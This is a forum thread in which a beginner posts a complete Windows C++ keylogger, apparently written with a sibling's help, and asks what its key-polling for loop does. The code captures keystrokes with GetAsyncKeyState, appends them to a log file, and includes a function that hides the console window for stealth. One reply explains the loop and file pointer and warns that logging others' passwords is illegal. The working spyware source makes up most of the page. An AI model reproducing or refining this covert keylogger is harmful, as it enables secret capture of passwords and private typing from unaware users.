Understanding a for loop

Howdy forum,
I've written a short key stroke logger with some help from my older brother, and was wondering what some of the segments meant and how they worked. I just need some help understanding some of the reasoning behind 1 line in particular, a for loop. "for(i = 0; i <= 190; i++){key logger writer function goes here()} is the line in question, I've put in other values instead of 190, but when I go to low the program fails to write the key strokes to the text file, and when I go higher, execution remains the same. Is the for loop for a frequency? or is it some kind of delay? Is 190 the maximum number of key strokes that can be written?

Thanks everyone, all answers are welcome and general advice on the program itself too.

PS is OUTPUT_FILE an object?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <iostream>
#include <windows.h>//library needed for "Winuser.h"
#include <Winuser.h>//needed for the windows function "GetAsyncKeyState()"
#include <stdio.h>//apparently this is needed for opening and closing files
using namespace std;

bool running = true;

int save(int key_stroke, char *file){
    if((key_stroke == 1)||(key_stroke == 2)){ //ASCII key stroke 1 is the left mouse button while 2 == right mouse button, this simply ignores those inputs
        return 0;
    }
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+"/*see bellow a+ assures data is not overwriten*/);


    if(key_stroke == VK_ESCAPE){
        fprintf(OUTPUT_FILE, "%s", " \"ESC\" ");
    }
    else if(key_stroke == 8){
        fprintf(OUTPUT_FILE, "%s", " \"BACKSPACE\" ");
    }
    else if(key_stroke == 32){
        fprintf(OUTPUT_FILE, "%s", " \"SPACE\" ");
    }
    else if(key_stroke == 13){
        fprintf(OUTPUT_FILE, "%s", "\n");
    }
    else if(key_stroke == VK_SHIFT){
        fprintf(OUTPUT_FILE, "%s", " \"SHIFT\" ");
    }
    else{
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    }
/* for another char such as arrow keys control esc etc....
    else if(key_stroke == x key){
    fprintf(OUTPUT_FILE, "%s", "\"x key\"");
    }
*/

    fclose(OUTPUT_FILE);
    cout << key_stroke << endl;

    return 0;
}

void soStealthy(){//preforms stealth
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
}

// *********************** //

int main(){
    //soStealthy();
    char i;//holds data

    while(running == true){

        for(i = 0; i <= 190; i++){//** This is the line I am wondering about**//

            if(GetAsyncKeyState(i) == -32767){//Determines if a key is up or down, -32767 is value for when OS is about to process a key press: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx
                save(i, "Log.txt");
            }
        }
    }

}
closed account (o3hC5Di1)
Hi there,

In essence the for loop would basically be saying this:

Use i as a counter, starting at 0 ; Repeat the subsequent code block as long as i is smaller than or equal to 190 ; With every repetition ( called iteration) increase the counter i by 1.

Full explanation:

1
2
3
4
5
6
7
8
9
10
11
12
// line 58
    char i; //character code

    while(running == true){  //while boolean variable running is set to true, keep doing the following

        for(i = 0; i <= 190; i++) //do the following code 191 times, increasing i every time
            // if the key with code i (0 to 190) is held down, save it to a log
            if(GetAsyncKeyState(i) == -32767){
                save(i, "Log.txt");
            }
        }
    }


So while you keep running set to true, the script will keep running a loop through the first 191 keycodes to check if it is pressed down at that point. If it is, it is saved into a file.

OUTPUT_FILE is not an object of itself, it is a pointer to a filestream object, but I wouldn't worry too much about this in your early stages.

On a sidenote, please note that although it may appear "cool" to log someone's passwords and what not, it is in fact illegal in most legislations. So I'm only helping you to understand your code in order for you to learn, using this code is at your own risk and responsibility.

Hope that helps.

All the best,
NwN

Last edited on
NwN, thank you, thank you. I tried so hard to get an answer from another area, to no avail, all I got were nonconstructive comments and such. Thank you also for telling me that was a pointer. Don't worry, I don't want to ever use this to harm another person or take advantage of another person. I fully understand the ramifications that would fall to my hands if I were to use this program the wrong way. I just wanted to learn. Thanks again, you're answer was clear and helpful, and I don't know why I didn't think of that.

Have a lovely day
MasterTelion wrote:
#include <stdio.h>//apparently this is needed for opening and closing files

2 words fo you: #include <fstream>
Topic archived. No new replies allowed.